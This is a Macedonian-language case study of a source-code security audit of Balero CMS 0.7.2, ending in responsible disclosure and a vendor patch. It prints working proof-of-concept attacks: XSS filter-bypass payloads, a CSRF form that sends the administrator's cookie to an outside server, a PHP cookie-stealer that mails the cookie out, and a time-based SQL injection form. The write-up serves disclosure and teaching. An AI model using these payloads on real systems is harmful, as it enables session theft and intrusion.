14
Изучување на случај: Иницијална безбедносна анализа на изворен код кај системот за уредување на содржина - Balero CMS 09.04.2015 Ревизија на изворен код како услуга од безбедносните компании е се повеќе застапена во индустријата на светско ниво. Неважно во кој програмски јазик програмерите кодираат, сеуште не постои таа свест за безбедносно програмирање и користење на безбедносни функции и методологии кога станува збор за развивање на комплетен софтверски пакет без разлика дали апликацијата е комерцијална или бесплатна. Во овој текст ќе зборувам за PHP апликацијата Balero CMS развиена од мексиканската компанија Neblina Software (поранешна BaleroCMS Software) или авторот Анибал Гомез (lastprophet), која претставува систем за менаџирање на содржина (Content Management System – CMS) како и за пронајдените ранливости и заобиколувањата на безбедносните филтри коишто оваа апликација ги има имплементирано. Апликацијата е напишана во PHP програмскиот јазик и е бесплатна за преземање и користење (open source project). Предност за истражувачите на безбедност на информации во вакви проекти е тоа што го имаат целиот код на располагање, овозможувајќи им полесно наоѓање на ранливости со едноставно читање или статична анализа на изворниот код. Како за почеток, ја презедов апликацијата (верзија 0.7.2) и ја инсталирав користејќи XAMPP платформа. Потоа следеше запознавање со самото работење на Balero CMS, нејзини логички текови, функции, скрипти со корисничко внесување, справување со систем за база на податоци, класи, форми и т.н. За време на оваа анализа беа пронајдени следните ранливости: - Blind SQL Injection - Reflected Cross-Site Scripting (XSS) - Stored/Persistent XSS - Cookie Poisoning/Manipulation - Authentication Brute-Forcing - Security Filter Bypass - Session ID Content Information Disclosure - Session Hijacking - Cross-Site Request Forgery (CSRF) И секако дека постојат уште многу неоткриени ранливости во Balero CMS, но краткото време посветено за оваа анализа беше 2,5 саати.

Изучување на случај: Иницијална безбедносна анализа на изворен код кај системот за уредување на содржина

Embed Size (px)

Citation preview

Изучување на случај: Иницијална безбедносна анализа на изворен код кај системот за уредување на содржина - Balero CMS

09.04.2015

Ревизија на изворен код како услуга од безбедносните компании е се повеќе застапена во индустријата на светско ниво.

Неважно во кој програмски јазик програмерите кодираат, сеуште не постои таа свест за безбедносно програмирање и користење на безбедносни функции и методологии кога станува збор за развивање на комплетен софтверски пакет без разлика дали апликацијата е комерцијална или бесплатна.

Во овој текст ќе зборувам за PHP апликацијата Balero CMS развиена од мексиканската компанија Neblina Software (поранешна BaleroCMS Software) или авторот Анибал Гомез (lastprophet), која претставува систем за менаџирање на содржина (Content Management System – CMS) како и за пронајдените ранливости и заобиколувањата на безбедносните филтри коишто оваа апликација ги има имплементирано.

Апликацијата е напишана во PHP програмскиот јазик и е бесплатна за преземање и користење (open source project).

Предност за истражувачите на безбедност на информации во вакви проекти е тоа што го имаат целиот код на располагање, овозможувајќи им полесно наоѓање на ранливости со едноставно читање или статична анализа на изворниот код.

Како за почеток, ја презедов апликацијата (верзија 0.7.2) и ја инсталирав користејќи XAMPP платформа. Потоа следеше запознавање со самото работење на Balero CMS, нејзини логички текови, функции, скрипти со корисничко внесување, справување со систем за база на податоци, класи, форми и т.н.

За време на оваа анализа беа пронајдени следните ранливости: - Blind SQL Injection - Reflected Cross-Site Scripting (XSS) - Stored/Persistent XSS - Cookie Poisoning/Manipulation - Authentication Brute-Forcing - Security Filter Bypass - Session ID Content Information Disclosure - Session Hijacking - Cross-Site Request Forgery (CSRF)

И секако дека постојат уште многу неоткриени ранливости во Balero CMS, но краткото време посветено за оваа анализа беше 2,5 саати.

Во самиот ‘root’ директориум на Balero ги гледаме следните информации:

Директориуми:

C:\xampp\htdocs\balerocms>dir /ad

Volume in drive C has no label.

Volume Serial Number is DE08-2C1D

Directory of C:\xampp\htdocs\balerocms

06.04.2015 20:19 <DIR> .

06.04.2015 20:19 <DIR> ..

06.04.2015 20:19 <DIR> core

06.04.2015 20:19 <DIR> site

06.04.2015 20:19 <DIR> themes

Фајлови:

C:\xampp\htdocs\balerocms>dir /a-d

Volume in drive C has no label.

Volume Serial Number is DE08-2C1D

Directory of C:\xampp\htdocs\balerocms

12.04.2014 09:56 130 .gitignore

12.04.2014 09:56 1.699 .htaccess

12.04.2014 09:56 41.662 favicon.ico

12.04.2014 09:56 1.149 index.php

12.04.2014 09:56 796 LEEME.md

12.04.2014 09:56 57 phpinfo.php

12.04.2014 09:56 2.873 README.md

За да не ги излистувам сите директориуми и фајлови, ќе зборувам само за поинтересните.

Веднаш од прво видување го гледаме ‘phpinfo.php’ фајлот што ја содржи PHP функцијата ‘phpinfo()’ што претставува опасност од обелоденување на информации се додека администраторот не го отстрани овој податок.

При самата инсталација на апликацијата, беше потребно да се внесат информации за базата на податоци, кориснички имиња и лозинки и други опции како наслов на сајтот и сл.

Откако XML фајлот ‘/site/etc/balero.config.xml’ беше едитиран со потребните информации, после успешната инсталација и избирање на корисничко име: admin, со лозинка: admin, го отворив фајлот за да ја видам вредноста на генерираниот хаш:

<passwd>$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e</passwd>

Хашот е генериран со помош на Blowfish cipher (bcrypt) во комбинација со random salt што претставува добар пристап кон зацврстување или безбедност на вредности кај лозинки, сесии и слични податоци, што е скоро невозможно да се кракираат иако напаѓачот располага со огромна листа на зборови и алатки како hashcat (CPU) или oclhashcat (GPU). Повеќе: http://www.exploit-db.com/docs/Cracking_Salted_Hashes.pdf

Ја отвораме скриптата ‘Blowfish.php’ што се наоѓа во ‘core’ директориумот:

25: class Blowfish {

26:

27: private $pwd;

28: private $pwd_string;

29:

30: public $message;

31: public $basepath;

32:

33: // referencias en esta pagina

34: //http://www.the-art-of-web.com/php/blowfish-crypt/#.UbTIRBx38Yw

35: // verificar //el pwd encriptado

36: // if(crypt("texto_plano", $pwd_hashed) == $pwd_hashed) {

37: // echo "pwd correcto";

38: // } else {

39: // echo "pwd incorrecto";

40: // }

41:

42: public function genpwd($pwd = "") {

43:

44: /**

45: *

46: * generar salt

47: */

48:

49: $salt = "";

50: $salt_chars = array_merge(range('A','Z'), range('a','z'), range(0,9));

51:

52: for($i=0; $i < 22; $i++) {

53: $salt .= $salt_chars[array_rand($salt_chars)];

54: }

55:

56: return crypt($pwd, sprintf('$2a$%02d$', 7) . $salt);

57:

58: }

59:

60: public function verify_hash($text, $hash) {

61:

62: if(crypt($text, $hash) == $hash) {

63: return TRUE;

64: } else {

65: return FALSE;

66: }

67:

68: }

Класата Blowfish содржи неколку јавни функции: genpwd(), verify_hash(), login_form() и __destruct().

genpwd() функцијата служи за креирање на горенаведениот хаш со низа од сите броеви, сите големи и сите мали букви. Потоа по 22 пати вртење се рандомизира низата за потоа да се врати вредноста од функцијата crypt() што ќе го креира финалниот хаш од лозинката на администраторот. verify_hash() се повикува за проверка на внесената лозинка од страна на администраторот, зависно дали е точна или неточна (TRUE/FALSE).

Апликацијата не нуди креирање на додатни кориснички имиња. При инсталација се креира администраторскиот корисник и лозинка со помош на genpwd() функцијата и тоа е тоа. Нема ресетирање на лозинката. Доколку сакате да ја смените лозинката, ќе треба рачно да го генерирате хашот и рачно да ја смените вредноста во XML фајлот во <passwd> полето.

После тоа, при секој обид за најава во администраторскиот панел, внесената лозинка се криптира и се споредува со хаш вредноста што се наоѓа во ‘balero.config.xml’ фајлот.

Ова го коментирам бидејќи апликацијата го користи генерираниот хаш во самата сесија на администраторот, во колачето (Cookie) ‘admin_god_balero’. Ќе се навратиме на безбедносните импликации на ова решение и самиот код малку подоцна.

Ајде да ја отвориме скриптата ‘Router.php’ што се наоѓа во ‘core’ директориумот:

138: if(isset($_COOKIE['counter']) && $_COOKIE['counter'] >= 5) {

139: die(_LOGIN_ATTEMPS);

140: } Доколку cookie-то ‘counter’ е сетирано и е поголемо или еднакво на 5, тогаш апликацијата умира, односно, не можеме да пристапиме кон администраторскиот панел. На секој обид да се логираме со погрешна лозинка, вредноста се зголемува. Кога ќе извршиме 5 обиди, ќе бидеме блокирани.

Ова е решение за Brute-Force напади. Но лесно се заобиколува со самото бришење на cookie-то или менување на вредноста да биде помала од 5. Подобро решение би било наместо на клиентската страна (client-side), вредноста да се проверува на серверската страна (server-side), пр. во MySQL сервер.

Напаѓачите можат лесно да креираат скрипта што автоматски ќе го модифицира cookie-to или ќе го избрише, и ќе извршат brute-force напади.

Доколку го погледнеме кодот подолу:

157: if(isset($_COOKIE['counter'])) {

158: $value = $_COOKIE['counter'];

159: setcookie("counter", $value+1, time()+120);

160: echo $_COOKIE['counter'];

161: }

Дознаваме дека доколку бидеме блокирани, ќе бидеме блокирани неколку минути додека cookie-то не истече.

Кодот во линијата 160 е ранлив на Cross-Site Scripting (XSS) напад. Нема никаква проверка нити санирање од страна на апликацијата, наспроти корисничко внесување. Командата ‘echo’ ќе ја испринта вредноста на cookie-to ‘counter’ без да провери дали има малициозни внесувања.

Ако ја сменам вредноста на ‘counter’ cookie-to во: <script>confirm(“XSS”);</script> тогаш во прелистувачот ќе се изврши скриптата и ќе добиеме Confirm порака (JavaScript).

Функцијата admin_router() во Router.php:

125: /**

126: * Router has the login page inside BlowFish class

127: */

128:

129: public function admin_router() {

130:

131: $this->lang = new Language();

132: $this->lang->init();

133: $this->lang->init_apps_lang("admin");

134: $this->lang->app = "admin";

135:

136: //echo "cokie: " . base64_decode($_COOKIE['admin_god_balero']);

137:

138: if(isset($_COOKIE['counter']) && $_COOKIE['counter'] >= 5) {

139: die(_LOGIN_ATTEMPS);

140: }

141:

142: if(!isset($_COOKIE['admin_god_balero'])) {

143: if(isset($_POST['login'])) {

144: $cfg = new configSettings();

145: $login = new Blowfish();

146: $verify = $login->verify_hash($_POST['pwd'], $cfg->pass);

147:

148: if($_POST['usr'] == $cfg->user && $verify == TRUE) {

149: $value = base64_encode($cfg->user . ":" . $cfg->pass);

150: setcookie("admin_god_balero",$value, time()+3600*24);

151: //header("Location: index.php?app=admin");

152: header("Location: ./admin");

153: } else {

154: if(!isset($_COOKIE['counter'])) {

155: setcookie("counter", 1, time()+120);

156: }

157: if(isset($_COOKIE['counter'])) {

158: $value = $_COOKIE['counter'];

159: setcookie("counter", $value+1, time()+120);

160: echo $_COOKIE['counter'];

161: }

162: $this->message = _LOGIN_ERROR;

163: }

164: }

165: }

166:

167: if(isset($_COOKIE['admin_god_balero'])) {

168:

169: //echo("logeado");

170: $cfg = new configSettings();

171: $login = new Blowfish();

172:

173: $cookie = base64_decode($_COOKIE['admin_god_balero']);

174:

175: //echo $cookie;

176:

177: $pieces = explode(":", $cookie);

178: $cookie_usr = $pieces[0];

179: $cookie_pwd = $pieces[1];

180:

181:

182: if($cfg->user == $cookie_usr && $cfg->pass == $cookie_pwd) {

183: //die("buscando...");

184: $ldr = new autoloader("admin"); // cargar clases para la app

185: $this->init_mod();

186: } else {

187: // remomve cookie

188: setcookie("admin_god_balero", "", time()-3600);

189: die("Hash Error");

190: }

191:

192: } else {

193:

194: $cfg = new configSettings();

195: $login = new Blowfish();

196: $login->message = $this->message;

197: $login->basepath = $cfg->basepath;

198:

199: try {

200:

201: $this->nocache();

202: echo $login->login_form(APPS_DIR . "admin/panel/login.html");

203:

204: } catch (Exception $e) {

205:

206: die($e->getMessage());

207:

208: }

209:

210: }

211:

212: unset($this->lang);

213:

214: }

Можеме да видиме многу коментари од страна на програмерот низ целиот код што ни открива уште повеќе информации за полесна ревизија.

Во функцијата admin_router() можеме да погледнеме уште едно справување со колачиња. Овој пат се работи за cookie-то ‘admin_god_balero’. Мора да имаме увид за работиниот тек на целата апликација за полесно навигирање низ кодот.

Во овој случај, Balero проверува два услови.

1. Ако cookie-то ‘admin_god_balero’ не е сетирано, тогаш... (линија 142) 2. Ако cookie-то ‘admin_god_balero’ е сетирано, тогаш... (линија 167)

Првиот услов: Ако колачето не е сетирано и се обидуваме директно да се најавиме во администраторскиот панел тогаш: се прави верификација на внесената лозинка и споредување со складираниот хаш со ‘configSettings.php’ и ‘Blowfish.php’ скриптите. И ни кажува дека ако POST параметарот ‘usr’ се совпаѓа со корисничко име, и verify_hash() ни враќа TRUE, тогаш: вредноста на колачето (корисничко име и хаш = $value) да биде Base64 енкодирано и сетирано во синтакса: admin_god_balero ... $value ... time()+3600*24.

Е сега, знаеме дека апликацијата ни става cookie вредност што во исто време претставува и валидна сесија на администраторот. Проблемот со ова решение е што напаѓачот има шанса, со помош на MitM напад или други ранливости (XSS), да изврши Session Hijacking и комплетно да ја компромитира апликацијата. Вредностите на една сесија не би требало да содржат кориснички имиња и хаширани лозинки. И нормално, ова треба да се складира на серверска страна, а не во cookie вредности.

Кога напаѓачот би дошол до ваква информација, не ни мора да кракира хашови. Едноставно самиот хаш ќе го внесе во cookie-то и ќе биде логиран како Администратор. Најтрагичното е тоа што сесијата е фиксна и не се менува. Вредноста е секогаш иста.

За да го потврдиме ова, се логирав, го видов cookie-то во оваа форма:

admin_god_balero=YWRtaW46JDJhJDA3JGhRU1k3NUJ2cXNyMlZLOWxWY3Z1bmUzNkFqdnhVTi4ueld3OC4uW

XloMWNOcm9WRVFRRDVl

Декодирано од Base64:

admin_god_balero=admin:$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e

Обелоденување на корисничко име и хаш во Session ID. Можеме да кажеме и дека сме пронашле backdoor пристап бидејќи ако еднаш ја дознаеме вредноста на ова cookie, секогаш ќе имаме пристап...доколку нели, администраторот не направи нова инсталација на Balero CMS со нова лозинка и нов генериран хаш.

Во вториот услов од линијата 167 се гледа како Balero прави споредба доколку е сетирано cookie-то ‘admin_god_balero’. Го декодира од Base64, го расчленува на два дела (cookie_usr и cookie_pwd) и прави споредба преку ‘configSettings.php’. Доколку смениме еден карактер во cookie-то, добиваме: Hash Error порака ;]

Повикувања од Router.php -> configSettings.php -> balero.config.xml и споредување:

36: <admin>

37: <!-- admin god -->

38: <username>admin</username>

39: <!-- pwd encrypt -->

40: <passwd>$2a$07$hQSY75Bvqsr2VK9lVcvune36AjvxUN..zWw8..Yyh1cNroVEQQD5e</passwd>

На полесен начин можеме и да бараме каде се се повикува конфигурацискиот фајл и Blowfish функцијата:

Во Router.php можеме да видиме и повикувања до класата Security{} и функцијата shield(). Паралелно на тоа, гледаме обид на некој вид на санирање на GET параметарот ‘app’. Пример:

52: if(isset($_GET['app'])) {

53: if(empty($_GET['app'])) {

54: header("Location: index.php");

55: }

56:

57: $security = new Security();

58: $app_get = $security->shield($_GET['app']);

Супер! Значи програмерот е запознаен со хакерските напади во светот и креирал посебна скрипта/класа/функција за заштита од напади како што се SQL Injection и XSS. Да ја погледнеме класата Security{} која се наоѓа во /core/Security.php фајлот:

15: class Security {

16:

17: private $var;

18:

19:

20: /**

21: *

22: * We need HTML tags like '<' or '>'

23: * but not the javascript tags

24: *

25: */

26:

27: public function noJS($var) {

28: $script_str = $var;

29:

30: $search_arr = array("<script>",

31: "</script>".

32: "@<script[^>]*?>.*?</script>@si", // Strip out javascript

33: "@<[\/\!]*?[^<>]*?>@si", // Strip out HTML tags

34: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly

35: "@<![\s\S]*?--[ \t\n\r]*>@", // Strip multi-line comments including CDATA

36: "js:",

37: "javascript:",

38: "/\(.*\)/",

39: "alert",

40: "document.cookie",

41: );

42:

43: $script_str = str_ireplace($search_arr, "", $script_str);

44:

45: /**

46: * Character escape for injections

47: * http://www.ascii.cl/htmlcodes.htm

48: */

49:

50: $script_str = str_replace("'", "&#39;", $script_str);

51:

52:

53: return $script_str;

54:

55: }

56:

57: /**

58: * Blindar variable

59: **/

60:

61: public function shield($var = "") {

62:

63: $this->var = $var;

64:

65: /**

66: * Nivel de protección.

67: */

68:

69: $this->Level1($this->var);

70: $this->Level2($this->var);

71: $this->Level3($this->var);

72:

73: return $this->fix();

74:

75: }

76:

77: public function fix() {

78: return $this->__toString();

79: }

80:

81: public function Level1($str) {

82: $this->var = htmlspecialchars($str);

83: //$this->var = $str;

84: return $this->var;

85: }

86:

87: public function Level2($str) {

88:

89: $this->var = $str;

90:

91: /**

92: *

93: * Remover caracteres potencialmente peligrosos

94: */

95:

96: $array = array("<script>",

97: "</script>".

98: "@<script[^>]*?>.*?</script>@si", // Strip out javascript

99: "@<[\/\!]*?[^<>]*?>@si", // Strip out HTML tags

100: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly

101: "@<![\s\S]*?--[ \t\n\r]*>@", // Strip multi-line comments including CDATA

102: "js:",

103: "javascript:",

104: "/\(.*\)/",

105: "alert",

106: "document.cookie",

107: "%20");

108:

109: $this->var = str_replace($array, "", $this->var);

110:

111: return $this->var;

112: }

113:

114: public function Level3($str) {

115: $this->var = str_replace("document.cookie", "", $str);

116: $this->var = str_replace("alert(.*)", "", $str);

117: return $this->var;

118: }

119:

120: public function __toString() {

121: return (string)$this->var;

122: }

123:

124: public function __destruct() {

125: unset ($this->var);

126: }

127:

128: }

Функциите noJS(), shield(), Level1(), Level2() и Level3() во класата Security{} извршуваат санирање на внесените вредности од корисникот и заштитува од добро познати JavaScript и HTML малициозни тагови.

Но во овој случај, санирањето е направено со користење на регуларни изразувања (regex) наспроти добро познати вредности или стрингови коишто му отежнуваат на напаѓачот успешно да дојде до експлоатација врз ранливите параметри.

Тие изразувања можеме да ги видиме од линијата 30 до 40 во noJS() функцијата, пр:

30: $search_arr = array("<script>",

31: "</script>".

32: "@<script[^>]*?>.*?</script>@si", // Strip out javascript

33: "@<[\/\!]*?[^<>]*?>@si", // Strip out HTML tags

34: "@<style[^>]*?>.*?</style>@siU", // Strip style tags properly

35: "@<![\s\S]*?--[ \t\n\r]*>@", // Strip multi-line comments including CDATA

36: "js:",

37: "javascript:",

38: "/\(.*\)/",

39: "alert",

40: "document.cookie",

41:) ;

42:

43: $script_str = str_ireplace($search_arr, "", $script_str);

Анализирајќи го кодот, можеме многу лесно да ги заобиколиме овие филтри. Нели, во случај на XSS ранливост, напаѓачот ќе се обиде да изврши крадење на сесијата со помош на document.cookie и <script> вредности. Иако постојат многу други техники како на пример користење на prompt, confirm, onmouseover и сл. Нас целта ни е да ги заобиколиме овие заштити.

Тоа можеме да го направиме со едноставно избегнување (escaping) на карактери. Пример:

Товарот (payload): <script>alert(document.cookie);</script> ќе биде сменет во одговорот на серверот со null вредност, односно, кога апликацијата ќе го види <script> и document.cookie во побарувањето, во одговорот нема да го видиме нашето внесување поради линијата 43 во горенаведениот код.

Апликацијата бара, и ги заменува дадените изрази со нулта вредност:

$script_str = str_ireplace($search_arr, "", $script_str);

Заобиколувањето на овие филтри би било вака:

<s\cript>ale\rt(docu\ment.cookie)</sc\ript>

Вака едноставно си добиваме за одговор: <script>alert(document.cookie)</script> што успешно сме извршиле Filter Bypassing. Знаејќи го ова, секаде кадешто ќе видиме користење на функциите од Security{} класата, можеме да извршиме XSS и SQL Injection напади.

Пример за Stored XSS на POST параметарот ‘content’ во /site/apps/admin/mods/virtual_page/mod_virtual_page_Controller.php:

158: $this->modModel->update_virtual_content($_POST['id'], $id-

>shield($_POST['virtual_title']), $id->noJS($_POST['content']), $_POST['a']);

Гледаме како во формата за нов блог пост, ‘content’ параметарот (меѓу другите) е заштитен од JavaScript напади. За да го извршиме овој напад успешно, можеме да користиме само избегнување на тие вредности и ќе дојдеме до саканата сесија на администраторот.

До саканата сесија на администраторот ќе дојдеме ако и само ако, најавениот администратор притисне на линкот што му е пратен од страна на напаѓачот. Видовме и дека во сите форми низ апликацијата не постои токен за заштита од Cross-Site Request Forgery (CSRF) напади што уште повеќе му ја олеснува работата на напаѓачот.

За да го потврдиме ова, креираме доказ на концепт (PoC) со тагот iframe којшто не се наоѓа во листата на забранети тагови:

<input type="hidden" name="content" value="pwned</textarea><iframe onload=confirm(document\.cookie)>" />

Бидејќи:

document\.cookie не е еднакво на document.cookie iframe не се наоѓа во листата на забранети стрингови наместо alert, користиме confirm што исто така не се наоѓа во црната листа.

Финалниот експлоатациски код во овој пример би бил вака:

CSRF + Stored XSS + Filter Bypass + Session Hijacking:

<html> <body> <form action="http://localhost/balerocms/admin/edit_delete_post/mod-blog" method="POST"> <input type="hidden" name="title" value="ZSL" /> <input type="hidden" name="content" value="pwned&lt;/textarea&gt;<s\cript>document.location="http://www.zeroscience.mk/pen

test/cthief.php?cookie="+docu\ment.cookie;</s\cript>" /> <input type="hidden" name="files" value="joxy.poxy" /> <input type="hidden" name="delete_post[]" value="135" /> <input type="hidden" name="id" value="135" /> <input type="hidden" name="submit" value="" /> <input type="submit" value="Submit form" /> </form> </body> </html>

Содржината на cthief.php што се наоѓа на мојот сервер:

<?php

$cookie = $HTTP_GET_VARS["cookie"];

mail("[email protected]", "XSSed", $cookie);

echo "<script>location.href='http://localhost/balerocms/admin/';</script>";

?>

Кодот го презема cookie-то на администраторот и ми испраќа е-маил со содржината на тоа колаче (хашот/сесијата) и потоа веднаш се враќа до админ панелот за да не биде сомнително ;]. Администраторот кликнува на дадениот малициозен линк (експлоит) а јас го добивам ова:

Бидејќи е Stored XSS, проверуваме во базата и потврдуваме дека товарот е таму:

Секако дека можеме да користиме и на пр. HTML енкодинг и други заобиколувања на стрингови, но ова е само еден пример.

Откако дознавме како да ги заобиколиме забраните, веќе низ целата апликација постојат ранливости од типот XSS и SQL Injection.

Пример за SQL Injection на параметарот ‘id’ со HTML енкодирање:

<html>

<body>

<form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11"

method="POST">

<input type="hidden" name="virtual&#95;title" value="ZSL" />

<input type="hidden" name="a" value="1" />

<input type="hidden" name="content" value="Testingus" />

<input type="hidden" name="&#95;wysihtml5&#95;mode" value="1" />

<input type="hidden" name="id"

value="11&apos;&#32;and&#32;benchmark&#32;&#40;50000000&#44;sha1&#40;1&#41;&#41;&#45;&

#45;&#32;" />

<input type="hidden" name="submit&#95;delete" value="" />

<input type="submit" value="Submit form" />

</form>

</body>

</html>

Ако продолжиме понатаму ќе најдеме многу не-санирани параметри што претставува ранливост во истите но поради времето посветено за овој текст, тука ќе застанеме со анализата.

Што следи, е одговорно и етички да го контактирам производителот и заедно да ги закрпиме овие ранливости. Уште пред да се напише овој текст, производителот на апликацијата беше контактиран и му беа пратени сите детали од анализата и пронајдените ранливости.

Производителот како решение за овие сценарија, направи тотална ревизија и разви нов код и нови класи за побезбедно санирање со објавување на нова верзија: 0.8.3.

Нова Security{} класа:

Или закрпа со ново креираните функции за санирање (лево: закрпа, десно: ранлив код):

Повеќе информации за Balero CMS, новиот код и предупредувањата:

http://www.balerocms.com/blog/main/id-190 http://www.balerocms.com/blog/main/id-193 https://github.com/neblina-software/balerocms-src/releases https://github.com/neblina-software/balerocms-src/blob/master/core/Security.php http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5238.php http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5239.php

Ѓоко Крстиќ [email protected]